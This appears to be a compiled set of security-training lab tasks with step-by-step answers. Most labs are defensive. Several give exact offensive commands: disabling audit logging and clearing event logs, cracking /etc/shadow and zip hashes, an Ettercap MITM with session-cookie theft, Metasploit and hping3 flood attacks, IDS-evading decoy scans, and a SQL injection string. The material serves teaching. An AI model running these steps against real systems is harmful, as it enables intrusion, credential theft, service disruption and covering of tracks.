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You are the cypersecurity specialist for your company. You are conducting a penetration test to see if anyone is using FTP against company policy. In this lab, your task is to capture FTP packets as follows: Use Wireshark to capture packets for five seconds. Filter for FTP packets. Answer the questions. Start Lab

From the Favorites bar, open Wireshark. Under Capture, select enp2s0. Select the blue fin to begin a Wireshark capture. Capture packets for five seconds. Select the red box to stop the Wireshark capture. In the Apply a display filter field, type ftp and press Enter. In the top right, select Answer Questions. Answer the questions. Select Score Lab.

You are a cybersecurity consultant and have been asked to work with t he ACME, Inc. company to ensure their network is protected from hackers. As part of the tests, you need to disable logging on a Windows system. In this lab, your task is to use Windows PowerShell (as Admin) to: View the current audit policies on the system. Disable all audit policies. Confirm that all the audits were disabled.

Right-click Start and select Windows PowerShell (Admin). Maximize the window for easier viewing. At the command prompt, type auditpol /get /category:* and press Enter to view the current audit policies.Notice the different settings used for each system. Type auditpol /clear /y and press Enter to disable all audit policies. Type auditpol /get /category:* and press Enter to confirm that the audits were disabled.Notice that all of the polices are now set to No Auditing.

You are a cybersecurity consultant and have been asked to work with the ACME, Inc. company to ensure that their network is protected from hackers. As part of the tests, you need to clear a few log files. In this lab, your task is to use Windows PowerShell (as Admin) to clear the following event logs: Use get-eventlog to view the available event logs. Use clear-eventlog to clear the Application and System logs.

Right-click Start and select Windows PowerShell (Admin). Maximize the window for easier viewing. At the prompt, type Get-Eventlog -logname * and press Enter.In the Entries column, notice the number of entries for the logs. Type Clear-Eventlog -logname Application and press Enter. Type Clear-Eventlog -logname System and press Enter. Type Get-Eventlog -logname * and press Enter.The log entries for Application is zero. The log entries for System is one because another event occurred between the times you cleared the log and viewed the entry list.

You are the IT security administrator for a small corporate network. You believe a hacker has penetrated your network and is using ARP poisoning to infiltrate it. In this lab, your task is to discover whether ARP poisoning is taking place as follows: Use Wireshark to capture packets on the enp2s0 interface for five seconds. Analyze the Wireshark packets to determine whether ARP poisoning is taking place. Use the 192.168.0.2 IP address to help make your determination. Answer the questions.

From the Favorites bar, open Wireshark. Maximize the window for easier viewing. Under Capture, select enp2s0. Select the blue fin to begin a Wireshark capture. After capturing packets for 5 seconds, select the red box to stop the Wireshark capture. In the Apply a display filter field, type arp and press Enter to only show ARP packets. In the Info column, look for the lines containing the 192.168.0.2 IP address. In the top right, select Answer Questions. Answer the questions. Select Score Lab.

While doing some penetration testing for your company, you captured some password hashes. The password hashes are saved in the root user's home directory /root/captured_hashes.txt. Now you want to hack these passwords using a rainbow table. The password requirements for your company are as follows: The password must be 20 or more characters in length. The password must include at least one upper and one lowercase letter. The password must have at least one of these special characters: ! " # $ % & _ ' * @ All passwords are encrypted using a hash algorithm of either md5 or sha1. In this lab, your task is to: Create md5 and sha1 rainbow tables using rtgen. Sort the rainbow tables using rtsort. Crack the hashes using rcrack. You must run rcrack on one individual hash and run it on the hash file. Answer the question.

Complete this lab as follows: From the Favorites bar, open Terminal. At the prompt, type rtgen md5 ascii-32-95 1 20 0 1000 1000 0 and press Enter to create a md5 rainbow crack table. Type rtgen sha1 ascii-32-95 1 20 0 1000 1000 0 and press Enter to create a sha1 rainbow crack table. Type rtsort . and press Enter to sort the rainbow table. Type rcrack . -l /root/captured_hashes.txt and press Enter to crack the password contained in a hash file. Type rcrack . -h hash_value and press Enter to crack the password contained in a hash. In the top right, select Answer Questions. Answer the questions. Select Score Lab.

The CEO of CorpNet.xyz has hired your firm to obtain some passwords for their company. A senior IT network administrator, Oliver Lennon, is suspected of wrongdoing and suspects he is going to be fired from the company. The problem is that he changed many of the standard passwords known to only the top executives, and now he is the only one that knows them. In this lab, your task is to use the keylogger to recover the changed passwords as follows: Move the keyboard USB connector to a different USB port on ITAdmin. Remove the keylogger from ITAdmin. Move the consultant laptop from the Shelf to the Workspace. Plug the keylogger into the consultant laptop's USB drive. Use the SBK key combination to toggle the USB keylogger from keylogger mode to USB flash drive mode. Open the LOG.txt file and inspect the contents. Find the olennon account's password. Find the Administrator account's password. Answer the questions.

Above the computer, select Back to view the back of the computer. On the back of the computer, drag the USB Type A connector for the keyboard to another USB port on the computer. On the Shelf, expand System Cases. Drag the Laptop to the Workspace. Above the laptop, select Back to view the back of the laptop. From the computer, drag the keylogger to a USB port on the laptop. Above the laptop, select Front to view the front of the laptop. On the laptop, select Click to view Windows 10. Press S + B + K to toggle from the keylogger mode to the flash drive mode. Select Tap to choose what happens with removable drives. Select Open folder to view files. Double-click LOG.txt to open the file. In the top right, select Answer Questions. Answer the questions. Select Score Lab.

You recognize that the threat of malware is increasing and have implemented Windows Defender on the office computers. In this lab, your task is to configure Windows Defender as follows: Add a file exclusion for D:\Graphics\cat.jpg. Add a process exclusion for welcome.scr. Update protection definitions before performing the scan. Perform a quick scan.

Add a file exclusion as follows:In the search field on the taskbar, enter Windows Defender.Under Best match, select Windows Defender Security Center.Maximize the window for easier viewing.Select Virus & threat protection.Select Virus & threat protection settings.Under Exclusions, select Add or remove exclusions.Select the + (plus sign) next to Add an exclusion.From the drop-down lists, select File.Under This PC, select Data (D:).Double-click Graphics.Select cat.jpg.Select Open. Add a process exclusion as follows:Select the + (plus sign) next to Add an exclusion.From the drop-down lists, select Process.In the Enter process name field, enter welcome.scr for the process name.Select Add. Update protection definitions as follows:In the left menu, select the shield icon.Select Protection updates.Select Check for updates. Perform a quick scan as follows:In the left menu, select the shield icon.Under Scan History, select Quick scan to run a quick scan now.

You are the IT administrator for a small corporate network. You need to find specific information about the packets being exchanged on your network using Wireshark. In this lab, your task is to: Use Wireshark to capture packets from the enp2s0 interface. Use the following Wireshark filters to isolate and examine specific types of packets:net 192.168.0.0host 192.168.0.34tcp contains password Answer the questions.

Begin a Wireshark capture as follows:From the Favorites bar, open Wireshark.Under Capture, select enp2s0.Select the blue fin to begin a Wireshark capture. Apply the net 192.168.0.0 filter as follows:In the Apply a display filter field, type net 192.168.0.0 and press Enter.Look at the source and destination addresses of the filtered packets.In the top right, select Answer Questions.Under Lab Questions, answer question 1. Apply the host 192.168.0.34 filter as follows:In the Apply a display filter field, type host 192.168.0.34 and press Enter.Look at the source and destination addresses of the filtered packets.Under Lab Questions, answer question 2. Apply the tcp contains password filter as follows:In the Apply a display filter field, type tcp contains password and press Enter.Select the red box to stop the Wireshark capture.Locate the password in the captured packet.Under Lab Questions, answer question 3.Select Score Lab.

Recently, the administrative assistant found a foreign device connected to the ITAdmin computer while updating some of their hardware. The device was turned over to you, and you have determined that it is a keylogger. You need to sift through the information on the keylogger to find which accounts may be compromised. In this lab, your task is to determine which corporate accounts have been compromised as follows: Plug the keylogger into ITAdmin's USB port. Use the keyboard combination of SBK to toggle the USB keylogger from keylogger mode to USB flash drive mode. Open the LOG.txt file and inspect the contents. Scan the document for corporate passwords or financial information. Answer the questions.

Complete this lab as follows: On the Shelf, expand Storage Devices. From the shelf, drag the USB Keylogger to a USB port on ITAdmin. On the monitor, select Click to view Windows 10. Press S + B + K to toggle from the keylogger mode to the flash drive mode. Select Tap to choose what happens with removable drives. Select Open folder to view files. Double-click LOG.txt to open the file. Maximize the window for easier viewing. In the top right, select Answer Questions. In the file, find which account passwords were captured. In the file, find any compromised financial information. Select Score Lab.

You are the IT administrator for a small corporate network. You are attempting to improve the password security of the Windows 10 laptop in the Lobby. In each policy, the Explain tab provides a description of the effects of the policy to help you identify which policy to configure with which value. In this lab, your task is to use the Local Security Policy tool to configure password restrictions as follows: Passwords must be at least 10 characters long. Passwords must be changed every 30 days. New passwords cannot be the same as the previous four passwords. New passwords cannot be changed for at least two days. Passwords must contain non-alphabetical characters. Lock the user account after four incorrect logon attempts within a 30-minute period. Automatically unlock locked accounts after one hour.

Complete this lab as follows: Select Start. Select Windows Administrative Tools. Select Local Security Policy. In the left pane, expand Account Policies. Select Password Policy. Double-click the policy you want to configure. Configure the policy settings. Click OK. Repeat steps 6-8 to configure additional policies. Select Account Lockout Policy. Repeat steps 6-8 to configure policy settings.

You are the IT security administrator for a small corporate network. You've received a zip file that contains sensitive password-protected files. You need to access these files. The zip file is located in the home directory. In this lab, your task is to use John the Ripper to: Crack the root password on Support. Crack the password of the protected.zip file in the home directory on IT-Laptop.

Crack the root password on Support as follows:From the Favorites bar, open Terminal.At the prompt, type cd /usr/share/john and press Enter to change directories to the folder containing the John the Ripper password file.Type ls and press Enter to list the files in the directory.Type cat password.lst and press Enter to view the password list. This is an abbreviated list.Type cd and press Enter to go back to root.Type john /etc/shadow and press Enter to crack the Linux passwords.Notice that the root password of 1worm4b8 was cracked.Type john /etc/shadow and press Enter to attempt to crack the Linux passwords again.Notice that it does not attempt to crack the password again. The cracked password is already stored in the john.pot file.Type cat ./.john/john.pot and press Enter to view the contents of the john.pot file.Type john /etc/shadow --show and press Enter as an alternate method of viewing the previously cracked password.In the top right, select Answer Questions.In Terminal, find the root password and answer the question. Crack the password of the protected.zip file as follows:From the top navigation tabs, select Floor 1 Overview.Under IT Administration, select IT-Laptop.From the Favorites bar, open Terminal.At the prompt, type ls and press Enter to view the contents of the home directory. Notice the protected.zip file you wish to crack.Type zip2john protected.zip > ziphash.txt and press Enter to copy the hashes to a text file.Type cat ziphash.txt and press Enter to confirm that the hashes have been copied.Type john --format=pkzip ziphash.txt and press Enter to crack the password.Notice that the password of p@ssw0rd was cracked.Type john ziphash.txt --show and press Enter to show the password.In the top right, select Answer Questions.In Terminal, find the password for the file and answer the question.Select Score Lab

ou are enhancing your network's security, and you want to enable Intrusion Detection and Prevention on the network security appliance (NSA). In this lab, your task is to: Enable the IPS on the LAN and DMZ interface. Manually update the IPS signature using C:\signatures\sbips000018.bin Use the following credentials to configure the NSA to automatically update the signature in the future:Username: mary.r.brownPassword: Upd@teN0w (0 is a zero) Set the IPS policies to detect and prevent all known threats.

Enable IPS as follows:In the Security Appliance Configuration utility, select IPS.Under IPS Enable, select Enable IPS Protection for LAN.Select Enable IPS Protection for DMZ.Select Apply. Update the IPS signature as follows:Under Manual Signature Updates, select Browse.Browse to and select C:\Signatures\SBIPS000018.bin.Select Open.Select Upload.Refresh the page to update the IPS Signatures status.Select Automatically Update Signatures.In the Cisco.com User Name field, enter mary.r.brown.In the Password field, enter Upd@teN0w (0 is a zero).Select Apply. Configure IPS policies as follows:In the left menu, select IPS Policy.For each IPS Category, select Detect and Prevent.Select Apply.

You are the IT security administrator for a small corporate network. Recently, some of your firm's proprietary data leaked online. You have been asked to use steganography to encrypt data into a file that will be shared with a business partner. The data will allow you to track the source if the information is leaked again. In this lab, your task is to use OpenStego to hide data inside a picture file as follows: Encrypt the user data found in John.txt into gear.png. Save the output file into the Documents folder as send.png. Password protect the file with NoMor3L3@ks! as the password. Confirm the functionality of the steganography by extracting the data from send.png into the Exports folder and opening the file to view the hidden user data.

Encrypt the user data into the file to be shared as follows:In the search field on the taskbar, type OpenStego.Under Best match, select OpenStego.In the Message File field, select the ellipses at the end of the field.Select John.txt.Select Open.In the Cover File field, select the ellipses at the end of the field.Select gear.png file.Select Open.In the Output Stego File field, select the ellipses at the end of the field.In the File name field, enter send.png.Select Open. Password protect the file as follows:In the Password field, enter NoMor3L3@ks!In the Confirm Password field, enter NoMor3L3@ks!Select Hide Data.Select OK. Extract the data and open the file as follows:Under Data Hiding, select Extract Data.In the Input Stego File field, select the ellipses.Select send.png file with the encryption.Select Open.In the Output Folder for Message File field, select the ellipses.Double-click Export to set it as the destination of the output the file.Click Select Folder.In the Password field, enter NoMor3L3@ks! as the password.Select Extract Data.Select OK.From the taskbar, open File Explorer.Double-click Documents to navigate to the folder.Double-click Export to navigate to the folder.Double-click John.txt to open the output file and verify that the decryption process was successful.

As an IT administrator, you need to know how security breaches are caused. You know that SMAC is used for MAC spoofing, so you are going to spoof your MAC address. In this lab, your task is to complete the following: On Office2 use ipconfig /all and find the IP address and MAC address. Spoof the MAC address on ITAdmin to that of Office2 using SMAC. Refresh your MAC and IP addresses to match the target machine

Find the IP address and MAC address as follows:Right-click Start and select Windows PowerShell (Admin).At the command prompt, type ipconfig /all and press Enter.Find the MAC address and the IP address. Spoof the MAC address as follows:From the top navigation tabs, select Floor 1 Overview.Under IT Administration, select ITAdmin.In the search bar, type SMAC.Under Best match, right-click SMAC and select Run as administrator.In the New Spoofed Mac Address field, type 00:00:55:55:44:15 for the MAC address from Office2.Select Update MAC.Select OK to restart the adapter. Refresh your MAC and IP addresses as follows:Right-click Start and select Windows PowerShell (Admin).At the command prompt, type ipconfig /all to confirm the MAC address has been updated.Type ipconfig /renew to update the IP address.

You work for a penetration testing consulting company. During an internal penetration test, you find that VNC is being used on the network, which violates your company's security policies. It was installed to maintain access by a malicious employee. In this lab, your task is to complete the following: From the IT-Laptop, use Zenmap to scan all computers on the network to see if any devices have port 5900 (VNC) open. Answer Question 1. Go to the suspect computer and uninstall VNC. From the suspect computer, run netstat to verify the ports for VNC are closed

Find the server that has port 5900 open. From the Favorites bar, open Zenmap.In the Command field, use nmap -p 5900 192.168.0.0/24.Select Scan.From the results, find the computer with port 5900 open.From the top right, select Answer Questions.Answer Question 1.Minimize the Lab Questions window. Uninstall VNC from the computer that has port 5900 open.From the top navigation tabs, select Floor 1 Overview.Find and select the computer that has port 5900 open. (Open the Question window if needed.)At the prompt, type netstat and press Enter to confirm the port is open on the machine.Type dnf list vnc and press Enter to find the package name.Type dnf erase libvncserver and press Enter.Press Y and press Enter to uninstall the package.Type netstat and press Enter to confirm the port has been closed on the machine.From the top right, select Answer Questions.Select Score Lab.

You are the cybersecurity specialist for your company. You need to check to see if any clear text passwords are being exposed to hackers through an HTTP login request. In this lab, your task is to analyze HTTP POST packets as follows: Use Wireshark to capture all packets. Filter the captured packets to show only HTTP POST data. Examine the packets captured to find clear text passwords. Answer the questions.

From Conult-Lap2, connect to your rogue computer as follows:From the Favorites bar, open Terminal.At the prompt, type ssh -X 192.168.0.251 and press Enter.For the password, type $uper$neaky and press Enter.You are now connected to Rogue1.Use Ettercap to launch a DHCP spoofing man-in-the-middle attack as follows:At the prompt, type ettercap and press Enter to launch Ettercap remotely.Ettercap is running on the remote computer, but you see the screen locally.Select Sniff.Select Unified sniffing.From the Network Interface drop-down list, select enp2s0.Click OK.Select Mitm.Select DHCP spoofing.In the Netmask field, enter 255.255.255.0.In the DNS Server IP field, enter 192.168.0.11.Click OK.On Exec, release and renew the IP address as follows:From top navigation tabs, select Buildings.Under Building A, select Floor 1.Under Executive Office, select Exec.Right-click Start and select Windows PowerShell (Admin).Type ipconfig /release and press Enter to release the currently assigned addresses.Type ipconfig /renew and press Enter to request a new IP address from the DHCP server.Log into the rmksupplies.com employee portal as follows:From the taskbar, open Chrome.Maximize the window for easier viewing.In the URL field, enter rmksupplies.com and press Enter.At the bottom of the page, select Employee Portal.In the Username field, enter bjackson.In the Password field, enter $uper$ecret1.Select Login.You are logged in as Blake Jackson.On Consult-Lap2, copy the session ID detected in Ettercap as follows:From the top navigation tabs, select Building A.Under Red Cell, select Consult-Lap2.In the Ettercap console, find bjackson's username, password, and session cookie (.login) captured in Ettercap.Highlight the session ID. Do not include .login=.Press Ctrl + C to copy.On Consult-Lap, go to rmksupplies.com and use the cookie editor plug-in

ou are the IT administrator for a small corporate network. The company has a single Active Directory domain named CorpNet.xyz. You need to increase the domain's authentication security. You need to make sure that User Account Control (UAC) settings are consistent throughout the domain and in accordance with industry recommendations. In this lab, your task is to configure the following UAC settings in the Default Domain Policy on CorpDC as follows:

From Hyper-V Manager, select CORPSERVER. Right-click CorpDC and select Connect. From Server Manager, select Tools > Group Policy Management. Maximize the window for easier viewing. Expand Forest: CorpNet.local. Expand Domains. Expand CorpNet.local. Right-click Default Domain Policy and select Edit. Maximize the window for easier viewing. Under Computer Configuration, expand Policies. Expand Windows Settings. Expand Security Settings. Expand Local Policies. Select Security Options. In the right pane, right-click the policy you want to edit and select Properties. Select Define this policy setting. Select Enable or Disable as necessary. Edit the value for the policy as needed and then click OK. Repeat steps 8-11 for each policy setting.

s the IT security administrator for a small corporate network, you need to simulate a SYN flood attack using Metasploit so you can complete a penetration test. In this lab, your task is to perform and monitor a SYN flood attack using the following information: Use Zenmap to find the FTP port on CorpServer (192.168.0.10). Use Metasploit to send a SYN flood attack as follows:Remote host: 192.168.0.10Source host: 192.168.0.33Set the FTP port to match the FTP port used by CorpServer. Use Wireshark to capture the SYN flood on the enp2s0 network interface. Filter to show only TCP SYN packets. Find the MAC address of the computer causing the SYN flood. Answer the questions.

From Zenmap, use nmap to find the FTP port used on CorpServer as follows:From the Favorites bar, open Zenmap.In the Command field, type nmap -p 0-100 192.168.0.10Select Scan.CorpServer is using port 21 for FTP.Close Zenmap. Use Metasploit to send a SYN flood as follows:From the Favorites bar, open Metasploit Framework.At the prompt, type search synflood and press Enter to find a SYN flood Metasploit module.Type use auxiliary/dos/tcp/synflood and press Enter to select the SYN flood module.Type show options and press Enter to view the current options for the SYN flood module.Notice that RHOST and SHOST are unassigned and RPORT is set to port 80.Type set rhost 192.168.0.10 and press Enter to set the RHOST address.Type set shost 192.168.0.33 and press Enter to set the SHOST address.Type set rport 21 and press Enter to set the FTP port.Type show options and press Enter to view the new options for the SYN flood module.Notice that RHOST and SHOST have IP addresses assigned and RPORT is set to port 21 matching CorpServer. Capture SYN flood attacks on the CorpServer machine as follows:From the Favorites bar, open Wireshark.Under Capture, select enp2s0.In the Apply a display filter field, type host 192.168.0.10 and tcp.flags.syn==1Press Enter.Select the blue fin to begin a Wireshark capture.Notice that no packets are being captured. In Metasploit, type exploit and press Enter to start a SYN flood. Capture packets for a few seconds. In Wireshark, select the red box to stop the Wireshark capture.Notice the time between each packet sent to host 192.168.1.10. Notice that only SYN packets were captured. In the top right, select Answer Questions. Answer question 1. In the middle pane, expand Ethernet II.Notice the source MAC address of the computer sending the SYN flood. Answer question 2. Select Score Lab.

You are the IT security administrator for a small corporate network. To achieve Payment Card Industry Data Security Standard (PCI DSS) certification, you are required to scan for rogue access points quarterly. In this lab, your task is to scan for rogue wireless access points using Terminal as follows: Use airmon-ng to discover and enable the onboard wireless adapter. Use airodump-ng to scan for wireless access points. Answer the questions.

From the Favorites bar, open Terminal. At the prompt, type airmon-ng and press Enter to view and find the name of the wireless adapter. Type airmon-ng start wlp1s0 and press Enter to put the adapter in monitor mode. Type airmon-ng and press Enter to view the new name of the wireless adapter. Type airodump-ng wlp1s0mon and press Enter to scan for wireless access points. After a few seconds, press Ctrl + c to stop the scan. In the top right, select Answer Questions. Answer the questions. Select Score Lab.

You are the IT security administrator for a small corporate network. To protect your Bluetooth devices from hackers, you need to discover which Bluetooth devices are running in your company and gather information on each. In this lab, your task is to scan for Bluetooth devices using Terminal as follows: Use hciconfig to discover and enable the onboard Bluetooth adapter. Use hcitool to scan for Bluetooth devices and find the class ID. Use l2ping to determine if the Bluetooth device is alive and within range. Use sdptool to query Philip's Dell Laptop to determine the Bluetooth services available on the device. Answer the question.

From the Favorites bar, open Terminal. At the prompt, type hciconfig and press Enter to view the onboard Bluetooth adapter. Type hciconfig hci0 up and press Enter to initialize the adapter. Type hciconfig and press Enter to verify that the adapter is up and running. Type hcitool scan and press Enter to view the detected Bluetooth devices and their MAC addresses. Type l2ping MAC address and press Enter to determine if the Bluetooth device is in range. Press Ctrl + c to stop the ping process. Repeat steps 6-7 for each device. Type sdptool browse B0:52:23:92:EF:CC and press Enter to view the details for Philip's Dell Laptop. Type hcitool inq and press Enter to determine the clock offset and class for each device. In the top left, select Answer Questions. Select the correct answer. Select Score Lab.

You are an ethical hacker consultant working for CorpNet. They want you to discover weaknesses in their network. From outside of the CorpNet network, you found their web server, www.corpnet.xyz, has an IP address of 198.28.1.1. You decide to perform several nmap scans using a few http scripts. In this lab, your task is to run the following nmap scripts on port 80 of 198.28.1.1: http-server-header.nse to display the HTTP server header. http-chrono.nse to measure the time a website takes to deliver a web page. http-headers.nse to perform a HEAD request for the root folder. http-errors.nse to crawl through the website and return any error pages. http-malware-host.nse to look for malware signatures of known server compromises. http-comments-displayer.nse to display HTML and JavaScript comments.

From the Favorites bar, open Terminal. At the prompt, type nmap --script=http-server-header -p80 198.28.1.1 and press Enter to run the http-server-header.nse script. In the top right, select Answer Questions. Answer question 1. Type nmap --script=http-chrono -p80 198.28.1.1 and press Enter to run the http-chrono.nse script. Type nmap --script=http-headers -p80 198.28.1.1 and press Enter to run the http-headers.nse script. Type nmap --script=http-errors -p80 198.28.1.1 and press Enter to run the http-errors.nse script. Under Lab Questions, answer question 2. Type nmap --script=http-malware-host -p80 198.28.1.1 and press Enter to run the http-malware-host.nse script. Type nmap --script=http-comments-displayer -p80 198.28.1.1 and press Enter to run the http-comments-displayer.nse script. Under Lab Questions, answer question 3. Click Score Lab.

You are a cybersecurity expert performing a penetration test for a client. Your client is concerned that hackers may be performing port scanning on the network, hoping to find open ports that could leave the company vulnerable to attacks. In this lab, your task is to use nmap to detect open ports as follows: Scan the following network addresses:198.28.1.0/24192.168.0.0/24 Find and report any open ports, especially those susceptible to hacking attacks. Answer the questions.

From the Favorites bar, open Terminal. At the prompt, type nmap -p- 198.28.1.0/24 and press Enter to scan for open ports on all servers located on this network. Type nmap -p- 192.168.0.0/24 and press Enter to scan for open ports on all the servers located on this network. In the top right, select Answer Questions. Answer the questions. Select Score Lab.

CorpNet.xyz has hired you as a penetration testing consultant. While visiting the company, you connected a small computer to the switch in the Networking Closet. This computer also functions as a rogue wireless access point. Now you are sitting in your van in the parking lot of CorpNet.xyz, where you are connected to the internal network through the rogue wireless access point. Using the small computer you left behind, you can perform remote exploits against the company. In this lab, your task is to: Use ssh -X to connect to your rogue computer (192.168.0.251). Use 1worm4b8 as the root password. Use Zenmap on the remote computer to scan all the ports on the internal network looking for computers vulnerable to attack. Answer the question.

From the Favorites bar, open Terminal. At the prompt, type ssh -X 192.168.0.251 and press Enter. For the root password, type 1worm4b8 and press Enter.You are now connected to Rogue1. Type zenmap and press Enter to launch Zenmap remotely.Zenmap is running on the remote computer, but you see the screen locally. In the Command field, type nmap -p- 192.168.0.0/24. Select Scan. From the results, find the computers with ports open that make them vulnerable to attack. In the top right, select Answer Questions. Answer the question. Select Score Lab.

You are a cybersecurity specialist. The owner of the CorpNet network has hired you to perform a penetration test. They are concerned with the safety of their firewalls. During the reconnaissance phase of your testing, you discovered a firewall with an IP address of 198.28.2.254. From outside of the CorpNet network, you decided to scan this firewall for potential weakness by running an nmap scan. In this lab, your task is to run the firewall-bypass nmap script against the firewall.

From the Favorites bar, open Terminal. Type nmap --script=firewall-bypass 198.28.2.254 and press Enter. In the top right, select Answer Questions. Answer the question. Select Score Lab. Correct answer: FTP

You are the CorpNet IT administrator. Your support team says that CorpNet's customers are unable to browse to the public-facing web server. You suspect that it might be under some sort of denial-of-service attack, possibly a TCP SYN flood attack. Your www_stage computer is on the same network segment as your web server, so you'll use this computer to investigate the problem. In this lab, your task is to: Capture packets from the network segment on www_stage using Wireshark. Analyze the attack using the following filters:tcp.flags.syn==1 and tcp.flags.ack==1tcp.flags.syn==1 and tcp.flags.ack==0 Answer the question.

From the Favorites bar, open Wireshark. Under Capture, select enp2s0. From the menu, select the blue fin to begin the capture. In the Apply a display filter field, type tcp.flags.syn==1 and tcp.flags.ack==1 and press Enter to filter the Wireshark display to only those packets with both the SYN flag and ACK flag.You may have to wait several seconds before any SYN-ACK packets are captured and displayed. Select the red square to stop the capture. In the Apply a display filter field, change the tcp.flags.ack ending from 1 to 0 and press Enter to filter the Wireshark display to packets with only the SYN flag.Notice that there are a flood of SYN packets being sent to 128.28.1.1 (www.corpnet.xyz) that were not being acknowledged. In the top right, select Answer Questions. Answer the question. Select Score Lab. Correct answer: There are multiple source addresses for the SYN packets with the destination address 128.28.1.1.

You work for a penetration testing consulting company. You need to make sure that you can't be identified by the intrusion detection systems. Use nmap to perform a decoy scan on CorpNet.local. In this lab, your task is to use nmap to perform a decoy scan on enp2s0 and to use Wireshark to see the results. Use Wireshark to capture packets on the enp2s0 network interface. Use nmap to perform a decoy scan targeting the 192.168.0.31 IP address using 10 random IP addresses.

From the Favorites bar, open Wireshark. Under Capture, select enp2s0. In the upper left menu, select the blue fin to start a scan. From the Favorites bar, open Terminal. At the prompt, type nmap -D RND:10 192.168.0.31 and press Enter. Maximize the window for easier viewing. In Wireshark, scroll down until you see 192.168.0.31 in the Destination column. Under Source, view the different IP addresses used to disguise the scan.

You work for a penetration testing consulting company. You need to make sure that you can't be identified by the intrusion detection systems. In this lab, your task is to perform a decoy scan on CorpNet.local as follows: Tools: Wireshark and Zenmap Interface: enp2s0 Random IP addresses:25 IP address: 192.168.0.31

From the Favorites bar, open Wireshark. Under Capture, select enp2s0. In the upper left menu, select the blue shark fin to start a scan. From the Favorites bar, open Zenmap. In the Command field, type nmap -D RND:25. In the Target field, type 192.168.0.31. Select Scan. Maximize the Wireshark window. In Wireshark, scroll down until you see 192.168.0.31 in the Destination column. Under Source, view the different IP addresses used to disguise the scan.

As the IT security specialist for your company, you are performing a penetration test to verify the security of the accounting department. You are concerned that invoice emails can be captured and the information gleaned from these emails can be used to help hackers generate fake invoice requests. In this lab, your task is to: Capture packets on the enp2s0 interface using Wireshark. Find packets containing invoice emails using display filters. Check to see if the following information can be seen in clear text format in the invoice emails:Source and destination email addressesNames of those that sent or received the emailsCustomer information

From the Favorites bar, open Wireshark. Under Capture, select enp2s0. Select the blue fin to begin a Wireshark capture. After a few seconds, select the red box to stop the Wireshark capture. In the Apply a display filter field, type tcp contains Invoice and press Enter. From the bottom panel, exam the packet information and locate the following:The account manager's email address.The recipient of the email's full name.The name of the company requesting payment. In the top right, select Answer Questions. In the bottom pane of Wireshark, exam the packet information to answer the questions. Answer the questions. Select Score Lab.

As the IT security specialist for your company, you're performing a penetration test to verify email security. You are specifically concerned that the HR department may be sending employee's personally identifiable information (PII) in clear text through emails. In this lab, your task is to: Capture packets on the enp2s0 interface using Wireshark. Find packets containing the following information using display filters:Social security numbers (SSN)Birth datesDirect deposit routing numbersMother's maiden nameFavorite carFavorite movie

From the Favorites bar, open Wireshark. Under Capture, select enp2s0. Select the blue fin to begin a Wireshark capture. After a few seconds, select the red box to stop the Wireshark capture. In the Apply a display filter field, type tcp contains SSN and press Enter. In the top right, select Answer Questions. In the bottom pane of Wireshark, examine the packet information to answer the questions. Answer the questions. Select Score Lab.

You are the IT administrator for a small corporate network, and you want to know how to find and recognize an ICMP flood attack. You know that you can do this using Wireshark and hping3. In this lab, your task is to create and examine the results of an ICMP flood attack as follows: From Kali Linux, start a capture in Wireshark for the esp20 interface. Ping CorpDC at 192.168.0.11. Examine the ICMP packets captured. Use hping3 to launch an ICMP flood attack against CorpDC. Examine the ICMP packets captured. Answer the questions.

From the Favorites bar, open Wireshark. Under Capture, select enp2s0. Select the blue fin to begin a Wireshark capture. From the Favorites bar, open Terminal. At the prompt, type ping 192.168.0.11 and press Enter. After some data exchanges, press Ctrl + c to stop the ping process. In Wireshark, select the red box to stop the Wireshark capture. In the Apply a display filter field, type icmp and press Enter.Notice the number of packets captured and the time between each packet being sent. Select the blue fin to begin a new Wireshark capture. In Terminal, type hping3 --icmp --flood 192.168.0.11 and press Enter to start a ping flood against CorpDC. In Wireshark, select the red box to stop the Wireshark capture.Notice the type, number of packets, and the time between each packet being sent. In Terminal, type Ctrl + c to stop the ICMP flood. In the top right, select Answer Questions. Answer the questions. Select Score Lab.

As the IT administrator for a small corporate network, you want to know how to find and recognize a TCP SYN flood attack. You know you can do this using the Wireshark packet analyzer and a Linux tool named hping3. In this lab, your task is to use Wireshark to capture and analyze TCP SYN flood attacks as follows: Filter captured packets to show TCP SYN packets for the enp2s0 interface. Use hping3 to launch a SYN flood attack against rmksupplies.com using Terminal. Examine a SYN packet with the destination address of 208.33.42.28 after capturing packets for a few seconds. Answer the question.

From the Favorites bar, open Wireshark. Under Capture, select enp2s0. Select the blue fin to begin a Wireshark capture. In the Apply a display filter field, type tcp.flags.syn==1 and press Enter. From the Favorites bar, open Terminal. At the prompt, type hping3 --syn --flood rmksupplies.com and press Enter to start a TCP SYN flood against the CorpDC domain controller. After a few seconds of capturing packets, select the red box to stop the Wireshark capture In the top pane of Wireshark, select one of the packets captured with a destination address of 208.33.42.28. In the middle pane of Wireshark, expand Transmission Control Protocol. Scroll down to Flags.Notice that both Flags in this pane and the Info column in the top pane show this as a SYN packet. In the top right, select Answer Questions. Answer the question. Click Score Lab. Correct answer: 0x002

You are the penetration tester for a small corporate network. You have decided to see how secure your online bank's web page is. In this lab, your task is to perform a simple SQL injection attack on MySecureOnlineBank.com using the following information: Make an account query for account number 90342. Perform a simple SQL attack using 0 OR 1=1. Answer the questions.

From the taskbar, open Chrome. Maximize the window for easier viewing. In the URL field, type mysecureonlinebank.com Press Enter. In the Enter your Account Number field, enter 90342. Select Lookup.The account balance is $582.29. In the top right, select Answer Questions. Answer question 1. In the Enter your Account Number field, enter 0 OR 1=1 for the SQL injection. Select Lookup. Answer question 2. Select Score Lab.

ou work as the IT Security Administrator for a small corporate network. The employee in Office 1 is working on a very sensitive project. Management is concerned that if the hard drive in the computer were stolen, sensitive information could be compromised. As a result, you have been asked to encrypt the entire System volume. The Office1 computer has a built-in TPM on the motherboard. In this lab, your task is to configure BitLocker drive encryption as follows: Turn on TPM in the BIOS. Activate TPM in the BIOS. Turn on BitLocker for the System (C:) drive. Save the recovery key to \\CorpServer\BU-Office1. Run the BitLocker system check. Encrypt the entire System (C:) drive.

